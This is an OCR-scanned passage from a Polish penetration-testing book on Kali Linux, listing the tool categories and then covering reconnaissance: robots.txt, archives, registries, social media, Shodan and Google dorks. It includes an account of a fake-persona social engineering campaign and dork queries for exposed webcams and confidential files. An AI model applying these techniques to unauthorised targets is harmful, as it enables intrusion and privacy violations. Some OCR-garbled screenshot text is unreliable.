W eb A pplications — tutaj zamieszczone zostały narzędzia pozwalające na identyfikację i wykorzystywanie podatności i luk w zabezpieczeniach serwerów W W W . W naszej książce będziemy bardzo często korzystać z narzędzi z tej właśnie kategorii. Pamiętaj jednak, że znajdują się tutaj nie tylko narzędzia do atakowania serwerów W W W , ale również narzędzia wykorzystujące W W W do testowania innych usług sieciowych. Dobrym przykładem mogą być narzędzia do analizy serwerów proxy, które znajdziesz właśnie w tej kategorii.
■
P assw ord A ttacks — ta kategoria została przeznaczona dla narzędzi pozwalających na łamanie haseł za pomocą metody b ru te-force i wykorzystujących inne, znacznie bardziej wyrafinowane sposoby, takie jak ataki słownikowe, mieszane, z użyciem tablic tęczowych (ang. R ain bow Tables) i inne. Znajdziesz tutaj również narzędzia pozwalające na odtwarzanie współdzielonych kluczy wykorzystywanych do uwierzytelniania.
■
W ireless A ttacks — w tej sekcji zgromadzone zostały narzędzia przeznaczone do identyfikacji i wykorzystywania luk w zabezpieczeniach i podatności w protokołach komunikacji bezprzewodowej. Znajdziesz tutaj między innymi narzędzia przeznaczone dla protokołu 802.11, takie jak aircra ck, airm on, narzędzia do łamania zabezpieczeń i haseł sieci bezprzewodowych czy narzędzia pozwalające na ataki na komunikację i urządzenia wykorzystujące protokół Bluetooth, a nawet technologię R F ID . Stosowanie takich narzędzi bardzo często będzie wymagało wykorzystania bezprzewodowej karty sieciowej skonfigurowanej do pracy w trybie nasłuchiwania (ang. prom iscu ou s m ode).
47
|
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
E xploitation Tools — są to narzędzia przeznaczone do wykorzystywania luk w zabezpieczeniach, które zostały wcześniej zidentyfikowane w fazie wyszukiwania podatności badanych systemów na ataki.
■
Sniffing an d Spoofing — tutaj zamieszczone zostały narzędzia wykorzystywane do przechwytywania pakietów sieciowych, modyfikowania pakietów sieciowych, tworzenia własnych pakietów sieciowych oraz tworzenia fałszywych witryn W W W . Oprócz tego znajdziesz tutaj również kilka narzędzi pozwalających na przeprowadzanie ataków na połączenia typu VoIP.
■
M aintaining A ccess — narzędzia w tej kategorii pozwalają na utrzymanie raz zdobytego przyczółka w zaatakowanym systemie. Tworzenie wielu alternatywnych punktów i metod dostępu do zaatakowanego i zdobytego systemu jest powszechnie stosowaną praktyką, która zapewnia napastnikowi możliwość interakcji ze zdobytym systemem w sytuacji, kiedy co najmniej jed en kanał komunikacyjny zostanie odkryty i zablokowany przez zespół bezpieczeństwa IT właściciela systemu.
■
R ev erse E n gin eerin g — w tej kategorii znajdziesz narzędzia pozwalające na debugowanie i deasemblację programów i innych plików wykonywalnych. Zadaniem inżynierii wstecznej (ang. rev erse engineering) je st analiza budowy programu i jego sposobu działania w celu umożliwienia wykonania jego kopii, usunięcia zabezpieczeń, modyfikacji czy projektowania innych programów. Inżynieria wsteczna wykorzystywana jest również do analizowania sposobu działania złośliwego oprogramowania oraz wyszukiwania luk w zabezpieczeniach aplikacji i systemów.
■
Stress Testing — tutaj zamieszczone zostały narzędzia wykorzystywane do testowania maksymalnego obciążenia, jakie jest w stanie wytrzymać dany system. Przeciążone systemy potrafią się czasem zachowywać w nieprzewidywalny sposób, powodując na przykład wyłączenie mechanizmów zabezpieczających i otwarcie wszystkich kanałów komunikacji czy nawet awarię bądź wyłączenie całego systemu (atak DoS, D enial o f Service).
■
H ardw are H acking — narzędzia znajdujące się w tej kategorii podzielone zostały na dwie grupy: A ndroid, gdzie umieszczono programy przeznaczone do pracy z urządzeniami mobilnymi, działającymi pod kontrolą systemu Android, oraz A rduino, gdzie zawarto narzędzia, które pozwalają na programowanie różnych innych urządzeń elektronicznych i zarządzanie nimi.
■
F oren sics — tutaj znajdziesz różnego rodzaju narzędzia informatyki śledczej, pozwalające na monitorowanie i analizowanie ruchu sieciowego, zawartości dysków twardych oraz aktywności użytkowników i aplikacji.
■
R eporting Tools — jest to kategoria przeznaczona dla narzędzi wspomagających dokumentowanie danych zebranych podczas testów penetracyjnych i tworzenie raportów końcowych.
■
System services — za pomocą poleceń w tej kategorii możesz włączać lub wyłączać różne usługi systemu Kali Linux. Usługi dostępne w tym menu zostały pogrupowane w następujące kategorie: B eE F , D radis, HTTP, M etasploit, M ySQ L oraz SSH.
48
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
W systemie Kali Linux zostało zaimplementowanych również wiele innych narzędzi, takich jak przeglą darki sieciowe, narzędzia do zmiany sposobu, w jaki komputer działający pod kontrolą tego systemu jest widziany w sieci, narzędzia wspom agające wyszukiwanie danych i wiele innych przydatnych aplikacji.
Podsumowanie Zadaniem tego rozdziału było wprowadzenie Cię w świat testów penetracyjnych aplikacji in ternetowych oraz przedstawienie systemu Kali Linux. Rozpoczęliśmy od ogólnego omówienia postępowania podczas przeprowadzania testów penetracyjnych, włącznie z przykładami do brych praktyk, zagadnieniami związanymi z oceną ryzyka oraz omówieniem różnic pomiędzy testami penetracyjnymi a innymi usługami związanymi z bezpieczeństwem systemów telein formatycznych. Kluczowym elementem było tutaj poznanie istoty testu penetracyjnego, proce dur przygotowania zakresu działania pentestera oraz wybierania najlepszego sposobu wykonania takiej usługi. Pamiętaj, że dobre zrozumienie wzajemnych oczekiwań i możliwości pentestera i właściciela systemu jest kluczem do pomyślnego uzgodnienia zakresu działania, sprawnego przeprowadzenia samego testu i wypracowania odpowiednich materiałów końcowych. W dalszej części tego rozdziału dokonaliśmy ogólnego omówienia systemu Kali Linux. Znalazły się tutaj takie zagadnienia, jak pobieranie odpowiedniej wersji dystrybucji systemu, procedu ra instalowania systemu i krótkie omówienie narzędzi, jakie Kali Linux daje użytkownikowi do dyspozycji. W kolejnym rozdziale opowiemy, jak sprawnie i efektywnie przeprowadzić reko nesans systemu będącego celem naszego ataku. Jest to pierwszy i najważniejszy krok do skutecz nego przeprowadzenia testu penetracyjnego.
49
fl
K a li L in u x . T e s ty p e n e tra c y jn e
50
R
O
Z
D
Z
I
A
Ł
Rekonesans Termin rekonesans wywodzi się z terminologii wojskowej i oznacza rozpoznanie stanowisk i sił przeciwnika przed rozpoczęciem ataku. W terminologii informatycznej rekonesans systemów komputerowych ma podobne znaczenie i odnosi się do sytuacji, w której pentester lub poten cjalny napastnik próbuje zebrać jak najwięcej informacji o danym systemie i jego zasobach przed rozpoczęciem właściwego ataku. Taki proces jest czasami nazywany zbieraniem „odcisków” systemu. Zazwyczaj wszelkie działania związane z przeprowadzanym rekonesansem mają pasyw ny charakter i w większości przypadków nie wchodzą w konflikt z uregulowaniami prawnymi (zastrzegamy jednak, że nie jesteśm y prawnikami i naszego stwierdzenia nie można traktować jako wykładni prawnej). Pamiętaj jednak, że taka sytuacja będzie trwała dopóty, dopóki nie „zahaczysz” o systemy, na których badanie nie otrzymałeś odpowiedniej zgody właściciela. Przykłady działań związanych z fazą rekonesansu mogą obejmować niemal wszystko, od groma dzenia informacji o celu w publicznie dostępnych źródłach, takich jak Google czy serwisy społecznościowe, poprzez monitorowanie aktywności użytkowników w celu poznania ich na wyków i sposobu działania, aż do skanowania sieci i aktywnych hostów w celu gromadzenia informacji o typach urządzeń, systemach operacyjnych i otwartych portach. Im więcej informacji zostanie zebranych podczas tej fazy, tym większa jest szansa na znalezienie słabego ogniwa, ominięcie istniejących zabezpieczeń systemu i pomyślne osiągnięcie założonego celu. Pamiętaj jednak, że nadmierna aktywność związana z przeprowadzanym rekonesansem najprawdopo dobniej zaalarmuje pracowników zespołu bezpieczeństwa właściciela systemu i spowoduje, że pomyślne przeprowadzenie ataku będzie utrudnione. Oficjalne motto systemu Kali Linux jest zatem następujące: Im ciszej się zachow u jesz, tym w ięce j m ożesz usłyszeć! W fazie rekonesansu powinieneś dokładnie dokumentować wszystkie zebrane informacje, ponieważ dane zebrane w tej fazie mogą mieć niezwykle istotne znaczenie później, podczas próby penetracji systemu. Również właściciel systemu, który zlecił przeprowadzenie testu penetracyjnego, najprawdopodobniej będzie chciał się dowiedzieć, w jaki sposób zdobyłeś określone dane o jego systemie. Zleceniodawca może na przykład zapytać, jakich narzędzi użyłeś
fl
K a li L in u x . T e s ty p e n e tra c y jn e
do gromadzenia informacji, jakie informacje znalazłeś w publicznie dostępnych źródłach, ja kie zapytanie użyte w wyszukiwarce Google przyniosło takie czy inne informacje itd. Samo poinformowanie zleceniodawcy, że „osiągnąłeś zamierzony cel”, z pewnością nie wystarczy, ponieważ zadaniem testu penetracyjnego jest zidentyfikowanie słabych stron w zabezpiecze niach badanego środowiska, tak aby można je było później poprawić i „uszczelnić” system.
Zadania rekonesansu ■
Przeznaczenie badanego środowiska celu. Jaką rolę odgrywa środowisko zleceniodawcy będące przedmiotem testu penetracyjnego?
■
Powiązania badanego środowiska celu. Jakie są powiązania badanego środowiska z innymi podmiotami biznesowymi, dostawcami czy klientami?
■
Inw estycje w systemy zabezpieczeń środowiska celu. Czy w środowisku zleceniodawcy została wdrożona jakaś polityka bezpieczeństwa? Jakie systemy zabezpieczeń zostały zaimplementowane w tym środowisku. Czy użytkownicy zostali odpowiednio przeszkoleni i czy przestrzegają zasad bezpieczeństwa?
■
Sposoby działania badanego środowiska celu. W jaki sposób funkcjonuje dane środowisko? Jakie są potencjalnie słabe strony wdrożonych procedur operacyjnych?
■
Użytkownicy środowiska celu. Jakiego rodzaju użytkowników można spotkać w badanym środowisku celu? Czy możesz ich wykorzystać do zdobycia dodatkowych informacji o systemie, przeprowadzając ataki socjotechniczne?
■
Rozpoznanie poszczególnych celów ataku. Jakie elementy badanego środowiska wydają się najbardziej obiecującymi celami ataku? Czego powinieneś unikać podczas przeprowadzania ataku?
■
Sieć komputerowa środowiska celu. W jaki sposób poszczególne hosty i użytkownicy w sieci komputerowej środowiska celu komunikują się ze sobą?
■
Istn iejące mechanizmy obronne. Jakie mechanizmy zabezpieczające zostały wdrożone w środowisku celu? Jaki jest zakres ochrony?
■
Technologie wykorzystywane w środowisku celu. Jakie technologie, platformy i rozwiązania są wykorzystywane w środowisku celu do wymiany poczty elektronicznej, przekazywania ruchu sieciowego, przechowywania danych, uwierzytelniania urządzeń i użytkowników oraz innych zadań? Jakie są potencjalnie słabe strony wdrożonych rozwiązań?
Jak już wspominaliśmy w poprzednim rozdziale, w menu głównym systemu Kali Linux znaj dziesz kategorię Information G athering, w której zgromadzono narzędzia wspomagające zbieranie informacji w fazie rekonesansu. Szczegółowe omówienie wszystkich dostępnych narzędzi i proce dur ich zastosowania wymagałoby niestety napisania osobnego opracowania, stąd w naszej książce skoncentrujemy się tylko na narzędziach wspomagających zbieranie informacji podczas testów penetracyjnych aplikacji internetowych, które zostały zaimplementowane w systemie Kali Linux, jak i na najlepszych narzędziach, które możesz znaleźć w niezmierzonych zasobach internetu.
52
R o z d z ia ł 2. • R e k o n e s a n s
fl
Rozpoznanie wstępne Rekonesans powinieneś rozpocząć od zebrania jak największej ilości informacji o roli środowi ska celu, jego użytkownikach i powiązanych z nim innych podmiotów biznesowych. Sun Tzu, autor słynnego traktatu Sztuka w ojny, mawiał, że przed rozpoczęciem ataku należy poznać swojego przeciwnika. W prostej linii wynika stąd, że jako pentester powinieneś dobrze po znać środowisko celu. Jeżeli celem Twojego ataku je st witryna internetowa, powinieneś do kładnie poznać wszystkie je j „zakamarki”. Takie postępowanie pozwoli Ci lepiej poznać sposób je j działania i określić metody zarządzania. Dobrze przeprowadzony rekonesans niemal zaw sze skutkuje większą listą potencjalnych słabości i punktów zaczepienia w badanym systemie. To przerażające, jak wiele informacji można znaleźć w publicznie dostępnych źródłach. Nie powinieneś być zaskoczony, jeżeli znajdziesz tam rzeczy zupełnie, zdawałoby się, niewyobrażalne, takie jak poufne dokumenty, listy haseł dostępu, raporty o podatnościach i lukach w zabezpiecze niach, zdjęcia, które nigdy nie powinny zostać upublicznione, czy nawet hosty oferujące niczym niechroniony dostęp do systemów kamer zabezpieczających różne obiekty. Z tych właśnie powodów bardzo wielu pentesterów rozpoczyna analizę celu od sprawdzenia informacji do stępnych w źródłach publicznych. Poniżej zamieszczamy zestawienie kilku wybranych źródeł, od których możesz rozpocząć swoje poszukiwania.
Strona internetowa firmy Na stronie internetowej firmy, której środowisko komputerowe ma być celem testu penetracyjnego, możesz często znaleźć naprawdę mnóstwo bardzo interesujących informacji. Na większości witryn internetowych dużych firm i korporacji możesz znaleźć listę członków zarządu i kadry kierowni czej, nazwiska pracowników działu kadr, zajmujących się rekrutacją czy kontaktem z mediami, i wiele innych, ciekawych danych. Takie informacje mogą być później punktem zaczepienia do dalszego zbierania danych czy nawet do przeprowadzania ataków socjotechnicznych. Do bardzo ciekawych informacji możesz również dojść poprzez analizę listy innych podmiotów biznesowych i organizacji współpracujących z daną firmą, listy ofert zatrudnienia, informacji biznesowych o działaniu firmy, aktualnych inwestycjach czy nawet o wdrożonych i planowanych środkach i politykach bezpieczeństwa. Zbieranie informacji na temat partnera biznesowego może być tak samo wartościowe jak zbieranie informacji o podstawowym celu ataku, ponie waż możesz tam znaleźć wiele informacji powiązanych z Twoim celem i wykorzystać je do przygotowania ataku. Dobrym przykładem może być zbieranie informacji na tem at dostawcy zewnętrznego, który świadczy usługi IT (np. dział pomocy technicznej) dla firmy będącej celem ataku, i wykorzystanie tak zdobytych informacji do przeprowadzenia ataku. Kolejnym ciekawym źródłem informacji może być plik Robots.txt, który bardzo często można znaleźć na witrynach internetowych i który jest publicznie dostępny dla każdego, kto zdaje sobie sprawę z jego istnienia. W pliku tym znajdują się instrukcje dla robotów sieciowych (ang. w eb spiders) przeszukujących zasoby internetu, informacje o tym, jakie strony są publicznie dostępne, a jakie nie powinny być przeglądane i automatycznie indeksowane w przeglądarkach sieciowych.
53
K a li L in u x . T e s ty p e n e tra c y jn e
Zawartość pliku Robots.txt je st zapisana w formacie zgodnym z protokołem R obots Exclusion P rotocol. Polecenie Disallow: / informuje roboty i przeglądarki sieciowe, że dane źródło nie powinno być odwiedzane; ale pentester prowadzący rozpoznanie może przecież zignorować takie polecenie, a zawartość pliku Robots.txt może stanowić cenne źródło informacji o tym, jakich danych witryna internetowa celu nie chce publicznie ujawniać. Aby zobaczyć zawartość pliku Robots.txt, powinieneś poszukać go w głównym katalogu wi tryny internetowej celu. Na przykład dodanie nazwy Robots.txt do adresu głównej strony po pularnego serwisu Facebook daje rezultat przedstawiony na rysunku poniżej: 4“
O
S
https://w w w .facebook.com /robots.txt
# N o t i c e : i f yo u w o u ld l i k e t o c r a w l F ac e b o o k yo u can # c o n t a c t us h e r e : h t t p : / /www. f a c e b o o k . c o m /a p p s / s it e _ s c r a p i n g _ t o s . php # t o a p p ly f o r w h it e l i s t i n g . O ur g e n e r a l te rm 3 a r e a v a i la b le # a t h t t p s/ / w w w . fa c e b o o k . c o m /a p p s /s ite _ s c r a p in g _ t o s _ t e r m s . php U s e r - a g e n t : b a id u s p id e r D is a llo w : / a c . php D is a llo w : /a e .p h p D is a llo w : / a j a x / D is a llo w : / a lb u m .p h p D is a llo w : / a p . php D is a llo w : / a u t o l o g i n . php D is a llo w : / c h e c k p o in t / D is a llo w : / f e e d s / D is a llo w : / I . p h p D is a llo w : / o .p h p D is a llo w : / p .p h p D is a llo w : / p h o t o . php D is a llo w : / p h o to _ c o m m e n ts . php D is a llo w : / p h o to _ s e a r c h . php D is a llo w : / p h o t o s . php D is a llo w : / s h a r e . php D is a llo w : / s h a r e r /
Źródła przechowujące historyczne wersje witryn internetowych W internecie można znaleźć całkiem sporo źródeł, które przechowują historyczne wersje więk szości publicznie dostępnych witryn internetowych. Jednym z takich źródeł jest serwis WayB ack M achine, dostępny pod adresem archive.org. Na przechowywanych tam historycznych w ersjach witryn internetowych możesz znaleźć bardzo wiele bezcennych informacji o syste mie będącym celem planowanego ataku, takich jak nieaktualne schematy organizacyjne, numery telefonów, informacje o klientach, informacje o systemie i serwerach przechowywane w kodzie źródłowym strony, o starych wersjach pliku Robots.txt, o partnerach biznesowych, o podatnościach i lukach w zabezpieczeniach, które zostały poprawione w kolejnych wersjach, i wiele innych bezcennych danych, których cel ataku nie zamieszcza już w aktualnej wersji swojej witryny. Pamiętaj, że informacji, które zostały raz upublicznione w internecie, praktycznie nie da się całkowicie usunąć ze wszystkich źródeł i zawsze gdzieś pozostaną jakieś historyczne dane, które mogą mieć wielką wartość dla pentestera.
54
R o z d z ia ł 2. • R e k o n e s a n s
Aby skorzystać z usług serwisu W ayB ack M achine, wystarczy uruchomić dowolną przeglądar kę internetową i przejść na stronę http://archive.org. W oknie przeglądarki pojawi się główny ekran serwisu ze zlokalizowanym w środkowej części polem IN T E R N E T A RC H IV E W ayBack M achine, jak przedstawiono na rysunku poniżej:
W pisz w polu tekstowym adres U R L witryny, której historyczną w ersję chcesz zobaczyć, i sprawdź, czy w bazie serwisu znajdują się jej zarchiwizowane kopie. Na infografice w górnej czę ści ekranu możesz zobaczyć, ile zarchiwizowanych kopii witryny utworzono w poszczególnych latach (zobacz rysunek poniżej). INTERNET
ARCHI VE
http://w w w .la ncopa.com http;A>ww.lancoDO com Km been crawled 300 tim e* going all tha way back lo February 20.2001. A crawl can bn a dupicAta ct V a mat nrw It happen* about 75% ot ttw Dm* a u a u 470.ano.QCn wwtium tAO
100*
1M7
«M i
1M i
7M1
IlMi.il lliliililll ,1, J L*muI¿ k .
7007
JAN 1
fi
7M7
7M4
700*
7004
7M7
3
4
3
4
5
7017
6
7
8
9
3
4
5
ru n
APR
1 2
5
I
7011
MAR
FEB
2
7010
i
2 9
6
7
8
1 7
2 8
3
4
5
6
9
10
11
12
13 20
3
14 15
16
17
18
18
10
11
12
13
14
15
16
10
11
12
13
14
15
16
14
15 16
17
16
19
!0
21 22
23
24
25
26
17
18
19
20
21
22
23
17
18
19
20
21
22
23
21
22 23
24
25
26
24
25
26
27
24
25
26
27
20
29
30
28
29 30
1
2
3
8
9
10
26
29
30
31
28
31 MAY 1 5
6 7
AUG 2
A
9
3
4
10
11
2
3
4
5
6
7
6
7
6
9
10
11
12
13
4
5
6
7
2
13 14
15 10
17
10
9
10
11
12
13 14
15
14
IS
16
17
16
19 20
11
12 13
14
15
16
9
20 21
22 23
24
26
16
17
16
19
20
21
22
21
22
23
24
26
26 27
16
19 20
21
22
23
24
«
27 26
29
31
23
24
26
26
27 26
29
26
29
30
31
26
26 27
26
29
30
31
30
55
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Jak widać, dla pentestera jest to bardzo użyteczne narzędzie, ponieważ przynosi wiele interesują cych informacji, a przy tym nie pozostawia żadnych śladów rekonesansu w systemie będącym celem ataku — wszystkie informacje są przechowywane w bazie danych serwisu W ayBack M achine. Na kolejnych dwóch rysunkach przedstawiamy wygląd witryny w w w .lan cop e.com w roku 2002 i dla porównania w roku 2013:
Network Security to Combat Today's Advanced Hacker
c l ic k
Lancope develops next-generation intrusion detection appliances for h igh-speed corporate networks.
S ig n Fo r
Lancope's StealthWatch™ is an ID S appliance that provides a new and unique approach to network intrusion detection. Our advanced threat management system monitors, detects and responds to security breaches and internal misuse, recognizing advanced attack m ethods th at do n o t b e a r s ignatures , such a s undocumented, encrypted and D o S attacks. In addition, it performs on high-speed networks running full duplex 100 Mbps through Gigabit line speeds. R ead more about StealthWatch™ and its innovative flow-based architecture. Our innovative technology will dramatically improve your ability to detect anomalies, and to combat today's advanced hacker - the ones using new and undocumented attacks that have no known signature,
EWEEK - "Most Impressive" eW eek Analyst Fran cis Chu hails StealthW atch a s the "Most Im pressive ' of 2001, and s a y s that it "Redefines the Way Corporations Use Intrusion Detection Systems."
H ere
U p T he
STEALTH Watch We b D em g
Lancope News: StealthWatch selected bv eWeek as "Most Impressive" of 2001. Lancooe ID S Looks Into the Unknown to Detect Threats Latest Hacker Target: Routers Intrusion Battleground Evolves Security's Hidden Benefits
WMONTO MCUM. MTtLUafNCC TOMOTKT
Lancope
SOLUTIONS
PNOOUCT8 A S S R V K «
nraOCJWCBS
A Key C o m p o n e n t o f the
Cisco* CyberThreat Defense Solution *■ Detect Reconnaissance A ctivity ► Find Data Loss / Exfiltration ► Discover Internally Spreading Malware ► Identify Botnet and C&C A ctivity
LATfST Mews
< N|:l>xmTgHwM(iw TT<
_ ¿W Detect A Resolve
boCnat* DOoS and mudar
56
Identity & Stop
poaun— apuna? inuou nvaat» staamWMtfi tu* V «
I Hunting to r, Intid« Your Network >Rofllotor
R o z d z ia ł 2. • R e k o n e s a n s
fl
Regional Internet Registries, czyli regionalni administratorzy adresów IP Regional Internet Registries, w skrócie RIR, to organizacje, które zajmują się zarządzaniem, alo kacją i przydzielaniem adresów IP dla podmiotów w poszczególnych regionach świata. Istnieje pięć głównych organizacji R IR — dla Europy jest to organizacja RIPE N etw ork Coordination Centre, której stronę znajdziesz pod adresem http://www.ripe.net/. Jej odpowiednikiem dla USA, Kanady i części regionu Karaibów je st A m erican R egistry f o r In tern et N u m bers (http://w w w .arin.net/) — przykładowe informacje zebrane w ARIN na temat witryny Lancope wyglądają następująco:
Name
Lancope
Handle
LANCOP
Street
3155 Royal Drive Building 100
City
Alpharetta
State/Province
GA
Postal Code
30022
Country
US
Registration Date
2002-06-21
Last Updated
2011-09-24
Comments RESTful Link
http://whois.a ri n.n et/rest/o rg/L ANC OP
See Also
Related networks.
See Also
Related autonomous system numbers.
See Also
Related POC records.
System EDGAR System EDG AR (ang. Electronic Data Gathering, Analysis an d Retrieval) to zautomatyzowany system bazodanowy, zawierający dokumenty rejestracyjne, raporty okresowe oraz inne infor macje na temat funkcjonowania firm, który funkcjonuje od roku 1994. Wszystkie firmy założone w Stanach Zjednoczonych są prawnie zobligowane do zamieszczania takich dokumentów w bazie EDGAR. Wszystkie dokumenty przechowywane w tym systemie są jawne i publicznie dostępne. Poniżej zamieszczamy dwa zrzuty ekranu zawierające przykładowe informacje na temat firmy Lancope:
57
fl
K a li L in u x . T e s ty p e n e tra c y jn e
F ilin g D e tail SECHorns ■ Search the Next-GeneraDon EDGARSystem» Company Search > Current Page
Form H t a m x ■Norco or .sum e t Nocurfies /rrogutteon t> ana soe.tmn 4/e/ or «ne .socutmm Acr or >8.13/ Filing Date 2006-04-25 Accepted 2006-04-30 t2.50.t2 Documents
FINng Dote Changed 2006-04-30 Effectiveness Date 2006-04-25
t
Document Formal Filos Sea
Description
1
AUTO GENERATED PAPER DOCUMENT Scanned paper document Compléta submission text fila
LANCOPE INC (Filer) CIK: 0001178004 (see all company filings) 1RS No 000000000 Type RfcCiOfcX | A c t 3 4 1 H a NO 021-45780 | Him NO. 08045649
Zasoby serwisów społecznościowych Serwisy społecznościowe są dzisiaj obecne dosłownie wszędzie, a ich zasoby są zazwyczaj powszechnie dostępne. Większość użytkowników komputerów, smartfonów, tabletów lub in nych tego typu urządzeń posiada konta w takich serwisach, jak Facebook, Twitter czy LinkedIn, prowadzi różnego rodzaju blogi bądź przechowuje swoje cenne dane w usługach typu chmura. Serwisy społecznościowe mogą stanowić bezcenne źródło informacji dla pentestera i znaczą co ułatwić mu przygotowanie ataków socjotechnicznych. Na przykład w serwisach takich jak Glassdoor.com można odszukać opinie niezadowolonych pracowników i na ich podstawie wy ciągać interesujące wnioski. Istnieje wiele narzędzi (takich jak zaimplementowany w systemie Kali Linux pakiet M altego) pozwalających na wyszukiwanie osób. Narzędzia te przeczesują najpopularniejsze serwisy społecznościowe, spisy publiczne czy portale agencji zatrudnienia i pozwalają na stworzenie dokumentacji na podstawie nawet tak szczątkowych danych, jak imię i nazwisko pracownika.
58
R o z d z ia ł 2. • R e k o n e s a n s
fl
Pentester może zbierać informacje na temat historii m iejsc zamieszkania takiej osoby, po przednich pracodawców, prowadzonej działalności gospodarczej, znajomych, zainteresowań, ulubionych drużyn sportowych i inne dane, które mogą być wprost nieocenione podczas przygotowywania ataków socjotechnicznych.
Zaufanie Większość ludzi jest z natury ufna i zakłada, że informacje publikowane w źródłach publicznych są prawdziwe. Aby sprawdzić takie założenie, autorzy tej książki na jednym z serwisów społecznościowych stworzyli osobę o fikcyjnej, spreparowanej tożsamości i nazwali ją Emily Williams. Pani Williams udawała kandydatkę do pracy w hrmie, której środowisko komputerowe było celem testu penetracyjnego. Nasza Emily bardzo szybko nawiązała szereg znajomości z prawdziwymi pracownikami interesującej nas firmy, wysyłała drogą elektroniczną fałszywe kartki świąteczne (za pośrednictwem systemu BeEF, B row ser Exploitation Fram ew ork, którego zadaniem jest próba przełamania zabezpieczeń podatnych przeglądarek sieciowych) i przechwytywała masę intere sujących danych ze skompromitowanych w ten sposób systemów. W krótkim czasie mogliśmy rozpracować strukturę badanej firmy, zdobyć informacje na temat je j sieci komputerowej i wiele innych, wrażliwych danych, na podstawie których byliśmy w stanie spreparować dla naszej Emily wewnętrzny, korporacyjny adres pocztowy, zdobyć hasła pozwalające na zdalny dostęp do sieci korporacyjnej za pomocą tunelu VPN itd. Mimo że Emily była tylko i wyłącznie bytem wirtualnym, otrzymała wiele ofert pracy i dostarczyła nam wiele informacji o wewnętrznych zasobach firmy. Kto ma informacje, ten ma władzę, a ludzie bardzo często sami udzielają in teresujących informacji komuś, kto po prostu w taki czy inny sposób wzbudza ich zaufanie. Więcej szczegółowych informacji na temat projektu Emily znajdziesz pod adresem http://www. thesecurityblogger. com /?p=1903.
Oferty pracy Oferty pracy publikowane przez firmę mogą być następnym źródłem informacji. Analiza ofert dla informatyków może na przykład ujawnić, jakie systemy operacyjne i platformy bazodanowe są wykorzystywane w określonej firmie, ujawnić dane osobowe personelu IT, pozwolić na oszaco wanie liczebności, a nawet poziomu umiejętności zespołu IT. Pracownicy działu kadr, zajmujący się rekrutacją, zazwyczaj bardzo chętnie dzielą się w dobrej wierze informacjami z potencjal nym kandydatem, co znów może przełożyć się na zdobycie dodatkowych informacji, adresów poczty elektronicznej czy numerów telefonów innych pracowników. Na przykład podając się za potencjalnego kandydata do pracy na stanowisku projektanta aplikacji dla bazy danych Oracle, możemy uzyskać takie informacje, jak typy serwerów wykorzystywanych w firmie, wersje bazy Oracle, dane kontaktowe aktualnie pracujących administratorów baz danych, opisy problemów operacyjnych, z jakimi obecnie się borykają, być może informacje o słabych stronach
59
fl
K a li L in u x . T e s ty p e n e tra c y jn e
zabezpieczeń, a dodatkowo możemy mieć szansę na zadanie podchwytliwych pytań, na przykład o to, czy administratorzy systemu mogą pracować z domu i jak w takiej sytuacji podłączają się do komputerowej sieci firmy. Kolejną ścieżką do eksploracji mogą być pytania o oczekiwaną wysokość zarobków, dodatkowe świadczenia i inne tego typu sprawy. Uzyskane informacje można później wykorzystać do na wiązywania dyskusji z innymi pracownikami na różnych popularnych serwisach społecznościowych czy prezentujących oferty pracy i opinie o pracodawcach. W takich treściach można często znaleźć nowe, nieznane lub nieplanowane wcześniej możliwości ataku. Dobrym przykładem serwisu zawierającego tego typu dane jest wspominany już wcześniej G lassdoor.com .
Lokalizacja Wysokość środków przeznaczanych na inwestycję w zabezpieczenia systemów komputerowych można również próbować oszacować na podstawie poziomu fizycznego zabezpieczenia siedziby firmy. Zazwyczaj możemy przyjąć, że firma, której siedziba jest otoczona wysokim parkanem i której teren przez 24 godziny na dobę patrolują ochroniarze, będzie również inwestowała większe środki w zabezpieczenia systemów komputerowych niż mała firma zlokalizowana w jed nym z publicznie dostępnych biurowców. Sieciowe systemy kartograficzne, takie jak na przykład Google Maps, mogą pomóc w oszacowaniu stopnia fizycznego zabezpieczenia terenu firmy i pokazać, którędy wchodzą do niej pracownicy. Innym sposobem wykorzystania znajomości fizycznej lokalizacji firmy je st mała przejażdżka w je j pobliżu w celu zidentyfikowania istnie jących sieci bezprzewodowych (być może jedna z nich należy do tej firmy?) bądź bliższego zapoznania się z metodami kontroli wstępu na je j teren (na przykład czy pracownicy muszą nosić identyfikatory zbliżeniowe pozwalające na otwieranie drzwi i bram).
W yszukiwarka Shodan Shodan to wyszukiwarka sieciowa, pozwalająca na wyszukiwanie oraz identyfikację hostów sie ciowych, takich jak komputery, serwery, routery, kamery internetowe i inne urządzenia sieciowe, na podstawie wielu różnych kryteriów, m.in. metadanych pobranych z nagłówków odpowiedzi usług sieciowych. Korzystając z tej usługi, możesz na przykład wyszukać miejsca w sieci, gdzie pracują konkretne urządzenia sieciowe, jak przełączniki Cisco 3850 działające pod kontrolą systemu IO S Version 15.0(1)EX. Poniżej zamieszczamy przykład wyników wyszukiwania systemów SCADA dostępnych przez internet. W teorii takie systemy nie powinny istnieć, ale Shodan udowadnia jednak, że takie stwierdzenie nie je st prawdziwe. Systemy SCADA są wykorzystywane do sterowania różnymi urządzeniami w fabrykach, elektrowniach czy oczyszczalniach ścieków, więc zezwalanie na dostęp do takich urządzeń przez internet jest naprawdę złym rozwiązaniem!
60
R o z d z ia ł 2. • R e k o n e s a n s
|
Google hacking Google hacking to najpopularniejszy sposób wykorzystania wyszukiwarki Google do przepro wadzania rekonesansu w testach penetracyjnych aplikacji i serwerów internetowych. Metoda ta opiera się na zastosowaniu języka zaawansowanych zapytań wyszukiwarki Google, pozwa lającego na lokalizowanie określonych łańcuchów tekstu w zwracanych wynikach wyszukiwa nia. Odpowiednie przygotowanie filtra pozwala na przykład na zlokalizowanie określonych wersji aplikacji internetowych podatnych na atak, które w wyniku użycia w zapytaniu operatora in title :"in d e x of" zwracają określony ciąg znaków, np. P ow ered b y A pache. Inne zapytania pozwalają na zlokalizowanie plików dzienników, takich jak ws_ftp .lo g , które zawierają wrażli we informacje o adresach IP Poniżej zamieszczamy kilka rysunków demonstrujących wyko rzystanie wyszukiwarki Google do znajdowania dostępnych publicznie kamer internetowych Linksys. Na pierwszym rysunku przedstawiono zapytanie, które zostało użyte, a na kolejnym rysunku wyniki jego działania. Ostatni, trzeci rysunek przedstawia wygląd strumienia danych z jednej ze znalezionych w ten sposób kamer internetowych.
A oto kilka przykładów innych ciekawych zapytań: ■
Wyszukiwanie poufnych dokumentów: in text: cla ssified top secret confidential.
■
